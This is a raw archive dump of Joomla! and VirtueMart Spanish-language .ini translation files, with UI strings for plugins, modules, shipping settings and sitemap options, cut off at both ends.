ventana de texto como una simple línea horizontal.

            el texto que se muestre dependerá de las opciones seleccionadas y se puede elegir entre título, texto alternativo (si se proporciona) o número de página.

            El HTML de uso es: <hr class="_QQ_"system-pagebreak"_QQ_" />
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"El título de la página"_QQ_" /> o
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"La primera página"_QQ_" /> o
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"El título de la página"_QQ_" alt="_QQ_"La primera página"_QQ_" /> o
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"La primera página"_QQ_" title="_QQ_"El título de la página"_QQ_" />" PK@y>\dE^3language/es-ES/es-ES.plg_vmcustom_stockable.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="Vm Campo personalizaco acumulable" PK@y>\[Y,language/es-ES/es-ES.plg_user_joomla.sys.ininuW+A; $Id: es-ES.plg_user_joomla.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_USER_JOOMLA="Usuario - Joomla!" PLG_USER_JOOMLA_XML_DESCRIPTION="Gestiona la sincronización de usuarios predeterminada de Joomla!" PK@y>\0language/es-ES/es-ES.plg_quickicon_eosnotify.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2015 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_EOSNOTIFY="Notificador de finalización de soporte" PLG_EOSNOTIFY_SUPPORT_ENDING="La finalización de soporte para Joomla! 2.5 empieza el día 31 de diciembre del 2014." PLG_EOSNOTIFY_SUPPORT_ENDED="El soporte para Joomla! 2.5 ha terminado el día 31 de diciembre del 2014." PLG_EOSNOTIFY_CLICK_FOR_INFORMATION_WITH_LINK="%s Haga clic aquí para obtener más información." PK@y>\>|::$language/es-ES/es-ES.com_plugins.ininuW+A; $Id: es-ES.com_plugins.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_PLUGINS="Gestor de plugins" COM_PLUGINS_ADVANCED_FIELDSET_LABEL="Opciones avanzadas" COM_PLUGINS_BASIC_FIELDSET_LABEL="Opciones básicas" COM_PLUGINS_CONFIGURATION="Opciones del gestor de plugins" COM_PLUGINS_ELEMENT_HEADING="Elementos" COM_PLUGINS_ERROR_FILE_NOT_FOUND="No se puede encontrar el archivo %s ." COM_PLUGINS_FIELD_ELEMENT_DESC="Directorio del plugin y nombre del archivo principal" COM_PLUGINS_FIELD_ELEMENT_LABEL="Archivo del plugin" COM_PLUGINS_FIELD_ENABLED_DESC="El estado de habilitación del plugin" COM_PLUGINS_FIELD_FOLDER_DESC="Categoría o carpeta de localización del plugin." COM_PLUGINS_FIELD_FOLDER_LABEL="Tipo de plugin" COM_PLUGINS_FIELD_NAME_DESC="El nombre del plugin definido en su archivo xml" COM_PLUGINS_FIELD_NAME_LABEL="Nombre del plugin" COM_PLUGINS_FOLDER_HEADING="Tipo" COM_PLUGINS_MANAGER_PLUGIN="Gestor de plugins: %s" COM_PLUGINS_MANAGER_PLUGINS="Gestor de plugins: Plugins" COM_PLUGINS_MSG_MANAGE_NO_PLUGINS="No se han encontrado plugins instalados que coincidan con su consulta" COM_PLUGINS_N_ITEMS_CHECKED_IN_0="Ningún plugin ha sido desbloquedado correctamente" COM_PLUGINS_N_ITEMS_CHECKED_IN_1="%d plugin ha sido desbloqueado correctamente" COM_PLUGINS_N_ITEMS_CHECKED_IN_MORE="%d plugins han sido desbloqueados correctamente" COM_PLUGINS_N_ITEMS_PUBLISHED="%d plugins han sido habilitados correctamente" COM_PLUGINS_N_ITEMS_PUBLISHED_1="El plugin ha sido habilitado correctamente" COM_PLUGINS_N_ITEMS_UNPUBLISHED="%d plugins han sido deshabilitados correctamente" COM_PLUGINS_N_ITEMS_UNPUBLISHED_1="El plugin ha sido deshabilitado correctamente" COM_PLUGINS_NAME_HEADING="Nombre del plugin" COM_PLUGINS_NO_ITEM_SELECTED="Sin plugins seleccionados" COM_PLUGINS_OPTION_FOLDER="- Seleccionar tipo -" COM_PLUGINS_SAVE_SUCCESS="El plugin ha sido guardado correctamente" COM_PLUGINS_SEARCH_IN_TITLE="Buscar en el título del plugin." COM_PLUGINS_XML_DESCRIPTION="Este componente gestiona los plugins de Joomla!" COM_PLUGINS_XML_ERR="Datos XML del plugin no disponibles" JLIB_HTML_PUBLISH_ITEM="Habilitar el plugin" JLIB_HTML_UNPUBLISH_ITEM="Deshabilitar el plugin" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\-language/es-ES/es-ES.plg_content_vote.sys.ininuW+A; $Id: es-ES.plg_content_vote.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_VOTE="Contenido - Votar" PLG_VOTE_XML_DESCRIPTION="Añade la funcionalidad de votación a los artículos" PK@y>\"+language/es-ES/es-ES.plg_finder_content.ininuW+A; $Id: es-ES.plg_finder_content.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_CONTENT="Búsquedas inteligentes - Contenido" PLG_FINDER_CONTENT_XML_DESCRIPTION="Este plugin indexa los artículos de Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_ARTICLE="Artículo" PLG_FINDER_QUERY_FILTER_BRANCH_S_AUTHOR="Autor" PLG_FINDER_QUERY_FILTER_BRANCH_P_ARTICLE="Artículos" PLG_FINDER_QUERY_FILTER_BRANCH_P_AUTHOR="Autores" PK@y>\t!%language/es-ES/es-ES.mod_feed.sys.ininuW+A; $Id: es-ES.mod_feed.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_FEED="Canal electrónico" MOD_FEED_XML_DESCRIPTION="Este módulo permite que se muestren las noticias sindicadas de un canal electrónico" MOD_FEED_LAYOUT_DEFAULT="Predeterminado" PK@y>\e0language/es-ES/es-ES.mod_multilangstatus.sys.ininuW+A; $Id: es-ES.mod_multilangstatus.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_MULTILANGSTATUS="Estado de parámetros multilingüe" MOD_MULTILANGSTATUS_XML_DESCRIPTION="Este módulo muestra el estado de los parámetros para sitios multilingüe." PK@y>\([g 8language/es-ES/es-ES.plg_vmshipment_weight_countries.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipment VMSHIPMENT_WEIGHT_COUNTRIES="Vm Mensajería peso/países" VMSHIPMENT_WEIGHT_COUNTRIES_COST="Coste del Envio" VMSHIPMENT_WEIGHT_COUNTRIES_COST_DESC="Coste del envio aplicable para todos los pedidos cuando es peso esta entre el mínimo y el máximo." VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES="Paises" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES_DESC="Selecciona un país para aplicar esta tarifa, si ningun país es seleccionado se aplicará a todos los paises" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY="Moneda" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY_DESC="Moneda del coste" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT="Cantidad mínima para envío gratis" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT_DESC="Cantidad mínima para envío gratis" VMSHIPMENT_WEIGHT_COUNTRIES_LOGOS="Logo" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START="Cantidad mínima de productos" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START_DESC="Cantidad mínima de productos" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP="Cantidad máxima de productos" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC="Cantidad máxima de productos" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START="Cantidad mínima de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START_DESC="Cantidad mínima de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP="Cantidad máxima de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP_DESC="Cantidad máxima de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE="Cargo de empaque" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE_DESC="Cargo por empaque" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN="Envío basado en peso, Código postal y país" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN_DESC="Envío basado en el peso y el país" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME="Nombre de tarifa de envío" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME_DESC="Nombre de método de envío usado en la pagina" VMSHIPMENT_WEIGHT_COUNTRIES_TAX="Impuesto" VMSHIPMENT_WEIGHT_COUNTRIES_TAX_DESC="Impuesto aplicable al costo" VMSHIPMENT_WEIGHT_COUNTRIES_VALUE="Cargo" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION="Shipment description" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION_DESC="Shipment description added to the shipment name and logo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT="Peso del pedido" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START="Peso mínimo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START_DESC="Ingresa el peso mínimo, si no hay peso mínimo determinado, no se aplicara la condicion" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP="Peso máximo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP_DESC="Ingresa el peso máximo, si no hay peso máximo, no se aplicara la condicion" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT="Unidad de peso" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT_DESC="La unida de peso en que se mide el producto" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START="Inicio de rango código postal" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START_DESC="Entre el código postal inicial para el rango. Si no se determina no se aplicaran condiciones." VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP="Fin de rango código postal" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP_DESC="Entre el código postal final para el rango. Si no se determina no se aplicaran condiciones." PK@y>\!-language/es-ES/es-ES.plg_xmap_com_sobipro.ininuW+AXMAP_SETTING_SHOW_ENTRIES_LABEL="Show entries?" XMAP_SETTING_SHOW_ENTRIES_DESC="Should we include entries into the site map?" XMAP_SETTING_MAX_ENTRIES_LABEL="Max entries per cat." XMAP_SETTING_MAX_ENTRIES_DESC="Max number of entries per category to include on sitemap (Leave empty for no limit)" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" XMAP_SOBIPRO_NEWEST_THAN_LABEL="Newest than" XMAP_SOBIPRO_NEWEST_THAN_DESC="Only show entries newest than this number of days (Leave it blank to ignore this option)" XMAP_OPTION_ENTRIES_ORDER="Entries Order" XMAP_OPTION_ENTRIES_ORDER_DESC="How should the items be ordered in the sitemap?" XMAP_OPTION_DEFAULT="Default" XMAP_OPTION_VISITS="Number of visits" XMAP_OPTION_PUBLISH="Publish up date" XMAP_OPTION_MOD="Last modification date" XMAP_SETTING_CATEGORIES_ORDER_DIR_LABEL="Order direction" XMAP_SETTING_CATEGORIES_ORDER_DIR_DESC="How should the items be ordered in the sitemap?" XMAP_SETTING_OPTION_ORDERING_DIR_ASC="Ascendant" XMAP_SETTING_OPTION_ORDERING_DIR_DESC="Descendant" XMAP_SOBIPRO_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_SOBIPRO_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_SOBIPRO_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_SOBIPRO_CATEGORY_CHANGEFREQ_DESC="Set the chage frequency for the categories" XMAP_SOBIPRO_ENTRIES_PRIORITY_LABEL="Entries Priority" XMAP_SOBIPRO_ENTRIES_PRIORITY_DESC="Set the priority for the entries" XMAP_SOBIPRO_ENTRIES_CHANGEFREQ_LABEL="Entries Change frequency" XMAP_SOBIPRO_ENTRIES_CHANGEFREQ_DESC="Set the chage frequency for the entries" PK@y>\o.language/es-ES/es-ES.plg_system_finder.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2010 - 2012 http://comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_FINDER="Sistema - Búsquedas inteligentes" PLG_SYSTEM_FINDER_XML_DESCRIPTION="Este plugin habilita las actualizaciones automáticas del contenido indexado para las búsquedas inteligentes." PK@y>\. ,language/es-ES/es-ES.plg_system_remember.ininuW+A; $Id: es-ES.plg_system_remember.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_REMEMBER_XML_DESCRIPTION="Proporciona la funcionalidad de recordatorio" PLG_SYSTEM_REMEMBER="Sistema - Recuérdeme" PK@y>\~:language/es-ES/es-ES.plg_quickicon_extensionupdate.sys.ininuW+A; $Id: es-ES.plg_quickicon_extensionupdate.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_QUICKICON_EXTENSIONUPDATE="Enlaces rápidos - Notificación de actualizaciones de extensiones para Joomla!" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Comprueba si hay actualizaciones para sus extensiones de terceros instaladas y se lo notifica cuando viste el 'Panel de control'" PK@y>\+(language/es-ES/es-ES.com_wrapper.sys.ininuW+A; $Id: es-ES.com_wrapper.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_WRAPPER="URL embebida" COM_WRAPPER_XML_DESCRIPTION="Se muestra un marco que permite embeber dentro de Joomla! a una página web interna o externa." COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC="Muestra una URL embebida dentro de un marco de ventana" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION="Predeterminado" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE="Mostrar una página embebida" PK@y>\@|xx4language/es-ES/es-ES.plg_quickicon_eosnotify.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2015 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_EOSNOTIFY="Notificador de finalización de soporte" PK@y>\Rh(,language/es-ES/es-ES.plg_search_contacts.ininuW+A; $Id: es-ES.plg_search_contacts.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_CONTACTS="Buscar - Contactos" PLG_SEARCH_CONTACTS_CONTACTS="Contactos" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_DESC="Cantidad de resultados de la búsqueda a mostrar" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_LABEL="Límite de la búsqueda" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Se habilitan las búsquedas en el componente de contactos" PK@y>\(8'language/es-ES/es-ES.plg_system_sef.ininuW+A; $Id: es-ES.plg_system_sef.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEF_XML_DESCRIPTION="Añade soporte SEF a los enlaces del documento. Opera directamente sobre el HTML y no requiere de etiquetas especiales." PLG_SYSTEM_SEF="Sistema - SEF" PK@y>\%..7language/es-ES/es-ES.plg_content_pagenavigation.sys.ininuW+A; $Id: es-ES.plg_content_pagenavigation.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_PAGENAVIGATION="Contenido - Navegación entre páginas" PLG_PAGENAVIGATION_XML_DESCRIPTION="Permite habilitar la funcionalidad Anterior y Siguiente a un artículo." PK@y>\K8774language/es-ES/es-ES.plg_system_languagecode.sys.ininuW+A; $Id: es-ES.plg_system_languagecode.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_LANGUAGECODE="Sistema - Código del idioma" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Proporciona la habilidad de poder cambiar el código del idioma en el HTML generado para mejorar SEO." PK@y>\k<<.language/es-ES/es-ES.plg_search_virtuemart.ininuW+A; VirtueMart Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_VIRTUEMART="Buscar - VirtueMart" PLG_SEARCH_VIRTUEMART_PRODUCTS="Producto"PK@y>\%W#language/es-ES/es-ES.mod_custom.ininuW+A; $Id: es-ES.mod_custom.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_CUSTOM="HTML personalizado" MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC="Opcionalmente prepara el contenido con los plugins de contenido de Joomla!." MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL="Preparar el contenido" MOD_CUSTOM_XML_DESCRIPTION="Este módulo le permite crear su propio módulo HTML usando un editor WYSIWYG." PK@y>\2 1language/es-ES/es-ES.plg_authentication_gmail.ininuW+A; $Id: es-ES.plg_authentication_gmail.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_AUTHENTICATION_GMAIL="Autentificación - GMail" PLG_GMAIL_ERROR_ACCOUNT_DISABLED_OR_NOT_ACTIVATED="Su cuenta local está sin activar o deshabilitada" PLG_GMAIL_ERROR_LOCAL_USERNAME_CONFLICT="Hay un conflicto entre su cuenta de usuario local y el de su cuenta en GMail" PLG_GMAIL_FIELD_APPLYSUFFIX_DESC="Opciones para aplicar el sufijo: 'No aplicar el sufijo', 'Solo aplicar el sufijo si no lo encuentra' (se usará cualquier sufijo proporcionado por el usuario) o, 'Siempre aplicar el sufijo', que reemplazará cualquier sufijo proporcionado por el usuario" PLG_GMAIL_FIELD_APPLYSUFFIX_LABEL="Aplicar el sufijo del usuario" PLG_GMAIL_FIELD_BACKEND_LOGIN_DESC="¿Permitir el acceso a la administración vía cuenta de GMail?" PLG_GMAIL_FIELD_BACKEND_LOGIN_LABEL="Acceso a la administración" PLG_GMAIL_FIELD_SUFFIX_DESC="Un sufijo a usar por el usuario, normalmente será 'gmail.com' (o 'googlemail.com'), pero puede que desee usar uno de Google Apps para el sufijo de su dominio. Esto no incluye el símbolo de la arroba ('@'). Si se deja en blanco, se ignorará el sufijo de usuario." PLG_GMAIL_FIELD_SUFFIX_LABEL="Sufijo de usuario" PLG_GMAIL_FIELD_USER_BLACKLIST_DESC="Una lista de nombres de usuario no permitidos para acceder vía plugin de GMail. Los nombres de usuario deben estar separados por una coma." PLG_GMAIL_FIELD_USER_BLACKLIST_LABEL="Lista negra de usuarios" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXALWAYS="Aplicar siempre el sufijo" PLG_GMAIL_FIELD_VALUE_APPLYSUFFIXMISSING="Solo aplicar el sufijo si no se encuentra" PLG_GMAIL_FIELD_VALUE_NOAPPLYSUFFIX="No aplicar el sufijo" PLG_GMAIL_FIELD_VERIFYPEER_DESC="Verifica el par de conexión usando un certificado CA. En algunas ocasiones la aplicación puede fallar debido a incidencias con el certificado. Deshabilitando esta opción podría resolver el asunto." PLG_GMAIL_FIELD_VERIFYPEER_LABEL="Verificar pares" PLG_GMAIL_XML_DESCRIPTION="Gestiona la autentificación de usuarios con cuentas GMail o Googlemail (Requiere de cURL)
            ¡Advertencia! Debe tener al menos un plugin de autentificación habilitado o perderá todo el acceso al sitio." PK@y>\4_[~  +language/es-ES/es-ES.plg_xmap_com_mtree.ininuW+AXMAP_MTREE_PLUGIN_DESCRIPTION="AddS support for Mosets Tree categories and listings" XMAP_SETTING_SHOW_LISTINGS_LABEL="Show listings?" XMAP_SETTING_SHOW_LISTINGS_DESC="Should we include listings into the site map?" XMAP_SETTING_MAX_ENTRIES_LABEL="Max listings per cat." XMAP_SETTING_MAX_ENTRIES_DESC="Max number of listings per category to include on sitemap (Leave empty for no limit)" XMAP_SETTING_CATEGORIES_ORDER_LABEL="Categories order" XMAP_SETTING_CATEGORIES_ORDER_DESC="How to order the categories listed on your sitemap?" XMAP_SETTING_CATEGORIES_ORDER_DIR_LABEL="Order direction" XMAP_SETTING_CATEGORIES_ORDER_DIR_DESC="How should the categories be ordered in the sitemap?" XMAP_SETTING_LISTINGS_ORDER_LABEL="Listings order" XMAP_SETTING_LISTINGS_ORDER_DESC="How to order the listings listed on your sitemap?" XMAP_SETTING_LISTINGS_ORDER_DIR_LABEL="Order direction" XMAP_SETTING_LISTINGS_ORDER_DIR_DESC="How should the listings be ordered in the sitemap?" XMAP_SETTING_LISTINGS_NEWER_THAN_LABEL="Newer than" XMAP_SETTING_LISTINGS_NEWER_THAN_DESC="Only show links newer than this number of days (Leave it blank to ignore this option)" XMAP_SETTING_OPTION_ORDERING_DEFAULT="Default ordering" XMAP_SETTING_OPTION_ORDERING_NAME="Name" XMAP_SETTING_OPTION_ORDERING_CREATED="Creation date" XMAP_SETTING_OPTION_ORDERING_MODIFIED="Modified date" XMAP_SETTING_OPTION_ORDERING_HITS="Number of hits" XMAP_SETTING_OPTION_ORDERING_DIR_ASC="Ascendant" XMAP_SETTING_OPTION_ORDERING_DIR_DESC="Descendant" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" XMAP_MTREE_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_MTREE_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_MTREE_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_MTREE_CATEGORY_CHANGEFREQ_DESC="Set the change frequency for the categories" XMAP_MTREE_LISTING_PRIORITY_LABEL="Listing Priority" XMAP_MTREE_LISTING_PRIORITY_DESC="Set the priority for the links" XMAP_MTREE_LISTING_CHANGEFREQ_LABEL="Listing Change frequency" XMAP_MTREE_LISTING_CHANGEFREQ_DESC="Set the chage frequency for the links"PK@y>\dlx&language/es-ES/es-ES.com_admin.sys.ininuW+A; $Id: es-ES.com_admin.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_ADMIN="Administración - Información del sistema" COM_ADMIN_XML_DESCRIPTION="Componente de la administración que proporciona información del sistema" PK@y>\Fir0language/es-ES/es-ES.plg_system_remember.sys.ininuW+A; $Id: es-ES.plg_system_remember.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_REMEMBER_XML_DESCRIPTION="Proporciona la funcionalidad de recordatorio" PLG_SYSTEM_REMEMBER="Sistema - Recuérdeme" PK@y>\`6)language/es-ES/es-ES.plg_system_debug.ininuW+A; $Id: es-ES.plg_system_debug.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as 